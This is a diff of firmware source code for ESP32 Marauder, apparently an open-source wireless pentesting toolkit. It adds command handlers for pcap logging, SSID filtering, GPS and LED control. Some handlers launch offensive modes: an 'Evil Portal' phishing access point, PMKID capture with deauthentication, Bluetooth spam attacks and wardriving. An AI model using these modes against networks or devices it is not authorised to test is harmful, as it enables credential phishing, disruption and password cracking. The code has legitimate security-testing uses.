this->i2c_supported = false;
|
||||
return -1;
|
||||
#endif
|
||||
}
|
||||
this->i2c_supported = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -5,9 +5,7 @@
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
#include <Wire.h>
|
||||
#endif
|
||||
#include <Wire.h>
|
||||
|
||||
#define I2C_SDA 33
|
||||
#define I2C_SCL 22
|
||||
|
||||
@@ -6,32 +6,44 @@ Buffer::Buffer(){
|
||||
bufB = (uint8_t*)malloc(BUF_SIZE);
|
||||
}
|
||||
|
||||
void Buffer::open(fs::FS* fs, String fn){
|
||||
void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
|
||||
int i=0;
|
||||
do{
|
||||
fileName = "/"+fn+"_"+(String)i+".pcap";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
if (!log) {
|
||||
do{
|
||||
fileName = "/"+fn+"_"+(String)i+".pcap";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
}
|
||||
else {
|
||||
do{
|
||||
fileName = "/"+fn+"_"+(String)i+".log";
|
||||
i++;
|
||||
} while(fs->exists(fileName));
|
||||
}
|
||||
|
||||
Serial.println(fileName);
|
||||
|
||||
file = fs->open(fileName, FILE_WRITE);
|
||||
file.close();
|
||||
}
|
||||
|
||||
void Buffer::open(bool log){
|
||||
bufSizeA = 0;
|
||||
bufSizeB = 0;
|
||||
|
||||
writing = true;
|
||||
|
||||
write(uint32_t(0xa1b2c3d4)); // magic number
|
||||
write(uint16_t(2)); // major version number
|
||||
write(uint16_t(4)); // minor version number
|
||||
write(int32_t(0)); // GMT to local correction
|
||||
write(uint32_t(0)); // accuracy of timestamps
|
||||
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
|
||||
write(uint32_t(105)); // data link type
|
||||
|
||||
//useSD = true;
|
||||
bufSizeB = 0;
|
||||
|
||||
writing = true;
|
||||
|
||||
if (!log) {
|
||||
write(uint32_t(0xa1b2c3d4)); // magic number
|
||||
write(uint16_t(2)); // major version number
|
||||
write(uint16_t(4)); // minor version number
|
||||
write(int32_t(0)); // GMT to local correction
|
||||
write(uint32_t(0)); // accuracy of timestamps
|
||||
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
|
||||
write(uint32_t(105)); // data link type
|
||||
}
|
||||
}
|
||||
|
||||
void Buffer::close(fs::FS* fs){
|
||||
@@ -41,8 +53,7 @@ void Buffer::close(fs::FS* fs){
|
||||
Serial.println(text01);
|
||||
}
|
||||
|
||||
void Buffer::addPacket(uint8_t* buf, uint32_t len){
|
||||
|
||||
void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
|
||||
// buffer is full -> drop packet
|
||||
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
|
||||
//Serial.print(";");
|
||||
@@ -63,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
|
||||
|
||||
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
|
||||
|
||||
write(seconds); // ts_sec
|
||||
write(microSeconds); // ts_usec
|
||||
write(len); // incl_len
|
||||
write(len); // orig_len
|
||||
if (!log) {
|
||||
write(seconds); // ts_sec
|
||||
write(microSeconds); // ts_usec
|
||||
write(len); // incl_len
|
||||
write(len); // orig_len
|
||||
}
|
||||
|
||||
write(buf, len); // packet payload
|
||||
}
|
||||
@@ -201,3 +214,34 @@ void Buffer::forceSave(fs::FS* fs){
|
||||
saving = false;
|
||||
writing = true;
|
||||
}
|
||||
|
||||
void Buffer::forceSaveSerial() {
|
||||
uint32_t len = bufSizeA + bufSizeB;
|
||||
if(len == 0) return;
|
||||
|
||||
saving = true;
|
||||
writing = false;
|
||||
|
||||
if(useA){
|
||||
if(bufSizeB > 0){
|
||||
Serial1.write(bufB, bufSizeB);
|
||||
bufSizeB = 0;
|
||||
}
|
||||
if(bufSizeA > 0){
|
||||
Serial1.write(bufA, bufSizeA);
|
||||
bufSizeA = 0;
|
||||
}
|
||||
} else {
|
||||
if(bufSizeA > 0){
|
||||
Serial1.write(bufA, bufSizeA);
|
||||
bufSizeA = 0;
|
||||
}
|
||||
if(bufSizeB > 0){
|
||||
Serial1.write(bufB, bufSizeB);
|
||||
bufSizeB = 0;
|
||||
}
|
||||
}
|
||||
|
||||
saving = false;
|
||||
writing = true;
|
||||
}
|
||||
|
||||
@@ -16,11 +16,13 @@ extern Settings settings_obj;
|
||||
class Buffer {
|
||||
public:
|
||||
Buffer();
|
||||
void open(fs::FS* fs, String fn = "");
|
||||
void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
|
||||
void open(bool log = false);
|
||||
void close(fs::FS* fs);
|
||||
void addPacket(uint8_t* buf, uint32_t len);
|
||||
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
|
||||
void save(fs::FS* fs);
|
||||
void forceSave(fs::FS* fs);
|
||||
void forceSaveSerial();
|
||||
private:
|
||||
void write(int32_t n);
|
||||
void write(uint32_t n);
|
||||
|
||||
@@ -9,6 +9,9 @@ void CommandLine::RunSetup() {
|
||||
Serial.println(F("\n\n--------------------------------\n"));
|
||||
Serial.println(F(" ESP32 Marauder \n"));
|
||||
Serial.println(" " + version_number + "\n");
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
Serial.println(F(" >> Serial \n"));
|
||||
#endif
|
||||
Serial.println(F(" By: justcallmekoko\n"));
|
||||
Serial.println(F("--------------------------------\n\n"));
|
||||
|
||||
@@ -36,21 +39,41 @@ void CommandLine::main(uint32_t currentTime) {
|
||||
|
||||
LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
|
||||
LinkedList<String> cmd_args;
|
||||
|
||||
if (input != "") {
|
||||
|
||||
char fancy[input.length() + 1] = {};
|
||||
input.toCharArray(fancy, input.length() + 1);
|
||||
|
||||
char* ptr = strtok(fancy, delim);
|
||||
|
||||
while (ptr != NULL) {
|
||||
cmd_args.add(String(ptr));
|
||||
|
||||
ptr = strtok(NULL, delim);
|
||||
|
||||
bool inQuote = false;
|
||||
bool inApostrophe = false;
|
||||
String buffer = "";
|
||||
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char c = input.charAt(i);
|
||||
|
||||
if (c == '"') {
|
||||
// Check if the quote is within an apostrophe
|
||||
if (inApostrophe) {
|
||||
buffer += c;
|
||||
} else {
|
||||
inQuote = !inQuote;
|
||||
}
|
||||
} else if (c == '\'') {
|
||||
// Check if the apostrophe is within a quote
|
||||
if (inQuote) {
|
||||
buffer += c;
|
||||
} else {
|
||||
inApostrophe = !inApostrophe;
|
||||
}
|
||||
} else if (!inQuote && !inApostrophe && strchr(delim, c) != NULL) {
|
||||
cmd_args.add(buffer);
|
||||
buffer = "";
|
||||
} else {
|
||||
buffer += c;
|
||||
}
|
||||
}
|
||||
|
||||
// Add the last argument
|
||||
if (!buffer.isEmpty()) {
|
||||
cmd_args.add(buffer);
|
||||
}
|
||||
|
||||
return cmd_args;
|
||||
}
|
||||
|
||||
@@ -93,6 +116,85 @@ bool CommandLine::hasSSIDs() {
|
||||
return true;
|
||||
}
|
||||
|
||||
void CommandLine::showCounts(int selected, int unselected) {
|
||||
Serial.print((String) selected + " selected");
|
||||
|
||||
if (unselected != -1)
|
||||
Serial.print(", " + (String) unselected + " unselected");
|
||||
|
||||
Serial.println("");
|
||||
}
|
||||
|
||||
String CommandLine::toLowerCase(String str) {
|
||||
String result = str;
|
||||
for (int i = 0; i < str.length(); i++) {
|
||||
int charValue = str.charAt(i);
|
||||
if (charValue >= 65 && charValue <= 90) { // ASCII codes for uppercase letters
|
||||
charValue += 32;
|
||||
result.setCharAt(i, char(charValue));
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
void CommandLine::filterAccessPoints(String filter) {
|
||||
int count_selected = 0;
|
||||
int count_unselected = 0;
|
||||
|
||||
// Split the filter string into individual filters
|
||||
LinkedList<String> filters;
|
||||
int start = 0;
|
||||
int end = filter.indexOf(" or ");
|
||||
while (end != -1) {
|
||||
filters.add(filter.substring(start, end));
|
||||
start = end + 4;
|
||||
end = filter.indexOf(" or ", start);
|
||||
}
|
||||
filters.add(filter.substring(start));
|
||||
|
||||
// Loop over each access point and check if it matches any of the filters
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
bool matchesFilter = false;
|
||||
for (int j = 0; j < filters.size(); j++) {
|
||||
String f = toLowerCase(filters.get(j));
|
||||
if (f.substring(0, 7) == "equals ") {
|
||||
String ssidEquals = f.substring(7);
|
||||
if ((ssidEquals.charAt(0) == '\"' && ssidEquals.charAt(ssidEquals.length() - 1) == '\"' && ssidEquals.length() > 1) ||
|
||||
(ssidEquals.charAt(0) == '\'' && ssidEquals.charAt(ssidEquals.length() - 1) == '\'' && ssidEquals.length() > 1)) {
|
||||
ssidEquals = ssidEquals.substring(1, ssidEquals.length() - 1);
|
||||
}
|
||||
if (access_points->get(i).essid.equalsIgnoreCase(ssidEquals)) {
|
||||
matchesFilter = true;
|
||||
break;
|
||||
}
|
||||
} else if (f.substring(0, 9) == "contains ") {
|
||||
String ssidContains = f.substring(9);
|
||||
if ((ssidContains.charAt(0) == '\"' && ssidContains.charAt(ssidContains.length() - 1) == '\"' && ssidContains.length() > 1) ||
|
||||
(ssidContains.charAt(0) == '\'' && ssidContains.charAt(ssidContains.length() - 1) == '\'' && ssidContains.length() > 1)) {
|
||||
ssidContains = ssidContains.substring(1, ssidContains.length() - 1);
|
||||
}
|
||||
String essid = toLowerCase(access_points->get(i).essid);
|
||||
if (essid.indexOf(ssidContains) != -1) {
|
||||
matchesFilter = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Toggles the selected state of the AP
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = matchesFilter;
|
||||
access_points->set(i, new_ap);
|
||||
|
||||
if (matchesFilter) {
|
||||
count_selected++;
|
||||
} else {
|
||||
count_unselected++;
|
||||
}
|
||||
}
|
||||
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
|
||||
void CommandLine::runCommand(String input) {
|
||||
if (input != "")
|
||||
Serial.println("#" + input);
|
||||
@@ -111,8 +213,14 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_CLEARAP_CMD_A);
|
||||
Serial.println(HELP_REBOOT_CMD);
|
||||
Serial.println(HELP_UPDATE_CMD_A);
|
||||
Serial.println(HELP_LS_CMD);
|
||||
Serial.println(HELP_LED_CMD);
|
||||
Serial.println(HELP_GPS_DATA_CMD);
|
||||
Serial.println(HELP_GPS_CMD);
|
||||
|
||||
// WiFi sniff/scan
|
||||
Serial.println(HELP_EVIL_PORTAL_CMD);
|
||||
Serial.println(HELP_SIGSTREN_CMD);
|
||||
Serial.println(HELP_SCANAP_CMD);
|
||||
Serial.println(HELP_SCANSTA_CMD);
|
||||
Serial.println(HELP_SNIFF_RAW_CMD);
|
||||
@@ -123,6 +231,9 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_SNIFF_DEAUTH_CMD);
|
||||
Serial.println(HELP_SNIFF_PMKID_CMD);
|
||||
Serial.println(HELP_STOPSCAN_CMD);
|
||||
#ifdef HAS_GPS
|
||||
Serial.println(HELP_WARDRIVE_CMD);
|
||||
#endif
|
||||
|
||||
// WiFi attack
|
||||
Serial.println(HELP_ATTACK_CMD);
|
||||
@@ -136,23 +247,31 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_SSID_CMD_B);
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
Serial.println(HELP_BT_SNIFF_CMD);
|
||||
Serial.println(HELP_BT_SKIM_CMD);
|
||||
#ifdef HAS_BT
|
||||
Serial.println(HELP_BT_SNIFF_CMD);
|
||||
Serial.println(HELP_BT_SOUR_APPLE_CMD);
|
||||
Serial.println(HELP_BT_SWIFTPAIR_SPAM_CMD);
|
||||
Serial.println(HELP_BT_SPAM_ALL_CMD);
|
||||
#ifdef HAS_GPS
|
||||
Serial.println(HELP_BT_WARDRIVE_CMD);
|
||||
#endif
|
||||
Serial.println(HELP_BT_SKIM_CMD);
|
||||
#endif
|
||||
Serial.println(HELP_FOOT);
|
||||
return;
|
||||
}
|
||||
|
||||
// Stop Scan
|
||||
if (cmd_args.get(0) == STOPSCAN_CMD) {
|
||||
if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
|
||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
|
||||
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||
//#ifdef HAS_SCREEN
|
||||
// menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
|
||||
//#endif
|
||||
WiFi.softAPdisconnect(true);
|
||||
web_obj.shutdownServer();
|
||||
return;
|
||||
}
|
||||
// WiFi.softAPdisconnect(true);
|
||||
// web_obj.shutdownServer();
|
||||
// return;
|
||||
//}
|
||||
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
|
||||
|
||||
@@ -164,6 +283,85 @@ void CommandLine::runCommand(String input) {
|
||||
menu_function_obj.changeMenu(menu_function_obj.current_menu);
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == GPS_DATA_CMD) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
Serial.println("Getting GPS Data. Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_DATA;
|
||||
#ifdef HAS_SCREEN
|
||||
menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_GPS_DATA, TFT_CYAN);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == GPS_CMD) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
int get_arg = this->argSearch(&cmd_args, "-g");
|
||||
|
||||
if (get_arg != -1) {
|
||||
String gps_info = cmd_args.get(get_arg + 1);
|
||||
|
||||
if (gps_info == "fix")
|
||||
Serial.println("Fix: " + gps_obj.getFixStatusAsString());
|
||||
else if (gps_info == "sat")
|
||||
Serial.println("Sats: " + gps_obj.getNumSatsString());
|
||||
else if (gps_info == "lat")
|
||||
Serial.println("Lat: " + gps_obj.getLat());
|
||||
else if (gps_info == "lon")
|
||||
Serial.println("Lon: " + gps_obj.getLon());
|
||||
else if (gps_info == "alt")
|
||||
Serial.println("Alt: " + (String)gps_obj.getAlt());
|
||||
else if (gps_info == "date")
|
||||
Serial.println("Date/Time: " + gps_obj.getDatetime());
|
||||
else
|
||||
Serial.println("You did not provide a valid argument");
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
// LED command
|
||||
else if (cmd_args.get(0) == LED_CMD) {
|
||||
int hex_arg = this->argSearch(&cmd_args, "-s");
|
||||
int pat_arg = this->argSearch(&cmd_args, "-p");
|
||||
#ifdef PIN
|
||||
if (hex_arg != -1) {
|
||||
String hexstring = cmd_args.get(hex_arg + 1);
|
||||
int number = (int)strtol(&hexstring[1], NULL, 16);
|
||||
int r = number >> 16;
|
||||
int g = number >> 8 & 0xFF;
|
||||
int b = number & 0xFF;
|
||||
//Serial.println(r);
|
||||
//Serial.println(g);
|
||||
//Serial.println(b);
|
||||
led_obj.setColor(r, g, b);
|
||||
led_obj.setMode(MODE_CUSTOM);
|
||||
}
|
||||
else if (pat_arg != -1) {
|
||||
String pat_name = cmd_args.get(pat_arg + 1);
|
||||
pat_name.toLowerCase();
|
||||
if (pat_name == "rainbow") {
|
||||
led_obj.setMode(MODE_RAINBOW);
|
||||
}
|
||||
}
|
||||
#else
|
||||
Serial.println("This hardware does not support neopixel");
|
||||
#endif
|
||||
}
|
||||
// ls command
|
||||
else if (cmd_args.get(0) == LS_CMD) {
|
||||
#ifdef HAS_SD
|
||||
if (cmd_args.size() > 1)
|
||||
sd_obj.listDir(cmd_args.get(1));
|
||||
else
|
||||
Serial.println("You did not provide a dir to list");
|
||||
#else
|
||||
Serial.println("SD support disabled, cannot use command");
|
||||
return;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Channel command
|
||||
else if (cmd_args.get(0) == CH_CMD) {
|
||||
// Search for channel set arg
|
||||
@@ -246,9 +444,83 @@ void CommandLine::runCommand(String input) {
|
||||
|
||||
//// WiFi/Bluetooth Scan/Attack commands
|
||||
if (!wifi_scan_obj.scanning()) {
|
||||
// Signal strength scan
|
||||
if (cmd_args.get(0) == SIGSTREN_CMD) {
|
||||
Serial.println("Starting Signal Strength Scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
|
||||
}
|
||||
// Wardrive
|
||||
else if (cmd_args.get(0) == WARDRIVE_CMD) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
int sta_sw = this->argSearch(&cmd_args, "-s");
|
||||
|
||||
if (sta_sw == -1) {
|
||||
Serial.println("Starting Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
|
||||
}
|
||||
else {Serial.println("Starting Station Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_STATION_WAR_DRIVE, TFT_GREEN);
|
||||
}
|
||||
}
|
||||
else
|
||||
Serial.println("GPS Module not detected");
|
||||
#else
|
||||
Serial.println("GPS not supported");
|
||||
#endif
|
||||
}
|
||||
// AP Scan
|
||||
if (cmd_args.get(0) == SCANAP_CMD) {
|
||||
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
|
||||
int cmd_sw = this->argSearch(&cmd_args, "-c");
|
||||
int html_sw = this->argSearch(&cmd_args, "-w");
|
||||
|
||||
if (cmd_sw != -1) {
|
||||
String et_command = cmd_args.get(cmd_sw + 1);
|
||||
if (et_command == "start") {
|
||||
Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
if (html_sw != -1) {
|
||||
String target_html_name = cmd_args.get(html_sw + 1);
|
||||
evil_portal_obj.target_html_name = target_html_name;
|
||||
Serial.println("Set html file as " + evil_portal_obj.target_html_name);
|
||||
}
|
||||
//else {
|
||||
// evil_portal_obj.target_html_name = "index.html";
|
||||
//}
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
|
||||
}
|
||||
else if (et_command == "reset") {
|
||||
|
||||
}
|
||||
else if (et_command == "ack") {
|
||||
|
||||
}
|
||||
else if (et_command == "sethtml") {
|
||||
String target_html_name = cmd_args.get(cmd_sw + 2);
|
||||
evil_portal_obj.target_html_name = target_html_name;
|
||||
Serial.println("Set html file as " + evil_portal_obj.target_html_name);
|
||||
}
|
||||
else if (et_command == "setap") {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (cmd_args.get(0) == SCANAP_CMD) {
|
||||
int full_sw = -1;
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
@@ -275,6 +547,9 @@ void CommandLine::runCommand(String input) {
|
||||
}
|
||||
// Scan stations
|
||||
else if (cmd_args.get(0) == SCANSTA_CMD) {
|
||||
if(access_points->size() < 1)
|
||||
Serial.println("The AP list is empty. Scan APs first with " + (String)SCANAP_CMD);
|
||||
|
||||
Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
@@ -331,6 +606,14 @@ void CommandLine::runCommand(String input) {
|
||||
else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
|
||||
int ch_sw = this->argSearch(&cmd_args, "-c");
|
||||
int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
|
||||
int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list
|
||||
|
||||
if (l_sw != -1) {
|
||||
if (!this->apSelected()) {
|
||||
Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (ch_sw != -1) {
|
||||
wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
|
||||
@@ -343,11 +626,15 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
|
||||
}
|
||||
else if ((d_sw != -1) && (l_sw != -1)) {
|
||||
Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET);
|
||||
}
|
||||
else {
|
||||
Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//// WiFi attack commands
|
||||
// attack
|
||||
@@ -487,50 +774,137 @@ void CommandLine::runCommand(String input) {
|
||||
//// Bluetooth scan/attack commands
|
||||
// Bluetooth scan
|
||||
if (cmd_args.get(0) == BT_SNIFF_CMD) {
|
||||
Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
|
||||
}
|
||||
else if (cmd_args.get(0) == BT_SOUR_APPLE_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Sour Apple attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == BT_SWIFTPAIR_SPAM_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Swiftpair Spam attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SWIFTPAIR_SPAM, TFT_CYAN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == BT_SPAM_ALL_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting BT Spam All attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SPAM_ALL, TFT_MAGENTA);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
// Wardrive
|
||||
else if (cmd_args.get(0) == BT_WARDRIVE_CMD) {
|
||||
#ifdef HAS_BT
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
int cont_sw = this->argSearch(&cmd_args, "-c");
|
||||
|
||||
if (cont_sw == -1) {
|
||||
Serial.println("Starting BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE, TFT_GREEN);
|
||||
}
|
||||
else {Serial.println("Starting Continuous BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE_CONT, TFT_GREEN);
|
||||
}
|
||||
}
|
||||
else
|
||||
Serial.println("GPS Module not detected");
|
||||
#else
|
||||
Serial.println("GPS not supported");
|
||||
#endif
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
|
||||
}
|
||||
// Bluetooth CC Skimmer scan
|
||||
else if (cmd_args.get(0) == BT_SKIM_CMD) {
|
||||
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
|
||||
}
|
||||
|
||||
// Update command
|
||||
if (cmd_args.get(0) == UPDATE_CMD) {
|
||||
int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
|
||||
//int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
|
||||
int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
|
||||
|
||||
// Update via OTA
|
||||
if (w_sw != -1) {
|
||||
Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
|
||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||
//if (w_sw != -1) {
|
||||
// Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
|
||||
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||
//#ifdef HAS_SCREEN
|
||||
// menu_function_obj.changeMenu(menu_function_obj.updateMenu);
|
||||
//#endif
|
||||
web_obj.setupOTAupdate();
|
||||
}
|
||||
// web_obj.setupOTAupdate();
|
||||
//}
|
||||
// Update via SD
|
||||
else if (sd_sw != -1) {
|
||||
if (!sd_obj.supported) {
|
||||
Serial.println("SD card is not connected. Cannot perform SD Update");
|
||||
return;
|
||||
}
|
||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||
sd_obj.runUpdate();
|
||||
if (sd_sw != -1) {
|
||||
#ifdef HAS_SD
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
if (!sd_obj.supported) {
|
||||
Serial.println("SD card is not connected. Cannot perform SD Update");
|
||||
return;
|
||||
}
|
||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||
sd_obj.runUpdate();
|
||||
#else
|
||||
Serial.println("SD card not initialized. Cannot perform SD Update");
|
||||
#endif
|
||||
#else
|
||||
Serial.println("SD card support disabled. Cannot perform SD Update");
|
||||
return;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int count_selected = 0;
|
||||
//// WiFi aux commands
|
||||
// List access points
|
||||
if (cmd_args.get(0) == LIST_AP_CMD) {
|
||||
@@ -541,20 +915,26 @@ void CommandLine::runCommand(String input) {
|
||||
// List APs
|
||||
if (ap_sw != -1) {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected)
|
||||
Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
|
||||
if (access_points->get(i).selected) {
|
||||
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
|
||||
count_selected += 1;
|
||||
}
|
||||
else
|
||||
Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
|
||||
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
|
||||
}
|
||||
this->showCounts(count_selected);
|
||||
}
|
||||
// List SSIDs
|
||||
